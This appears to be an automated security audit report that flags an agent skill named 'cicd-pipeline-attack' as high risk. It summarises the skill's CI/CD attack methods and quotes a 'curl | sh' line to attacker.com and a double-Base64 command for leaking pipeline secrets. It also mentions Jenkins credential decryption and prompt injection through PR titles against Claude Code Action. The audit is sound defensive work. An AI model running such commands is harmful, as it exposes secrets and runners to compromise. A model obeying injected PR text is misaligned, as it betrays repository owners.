cicd-pipeline-attack
Fail
Audited by Gen Agent Trust Hub on May 4, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTIONCREDENTIALS_UNSAFEPROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill provides numerous payloads and methodology for executing arbitrary code on CI/CD runners and servers. Examples include:
- Use of
curl | shpatterns with remote URLs (e.g.,https://attacker.com/sh). - Exploitation of Terraform
externaldata sources andlocal-execprovisioners to run commands during planning and application phases. - Abuse of Jenkins Groovy Script Console for direct server-side execution.
- [DATA_EXFILTRATION]: Instructions are provided for extracting sensitive information such as environment variables and CI/CD secrets. This includes:
- Techniques to bypass logging masks using multi-layered Base64 encoding (e.g.,
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0). - Methods for reading and exfiltrating cloud provider credentials (AWS AK/SK, GCP Service Accounts) and VCS tokens.
- [COMMAND_EXECUTION]: The methodology covers various ways to execute commands by manipulating CI/CD configuration files (D-PPE) and their dependencies (I-PPE).
- Details on abusing
pull_request_targetandissue_commenttriggers to execute malicious code within a privileged context. - Guidance on interacting with the Docker API and internal network services from self-hosted runners.
- [CREDENTIALS_UNSAFE]: The skill contains detailed procedures for dumping and decrypting credentials from Jenkins (
credentials.xml,master.key) and harvesting cloud credentials from file systems and environment variables. - [PROMPT_INJECTION]: The skill identifies and describes techniques for indirect prompt injection targeting AI agents used in CI/CD workflows, specifically through the manipulation of PR and issue metadata. For instance, it details how attackers can manipulate PR titles to exploit Claude Code Action's tool-calling capabilities.
Recommendations
- AI detected serious security threats
Audit Metadata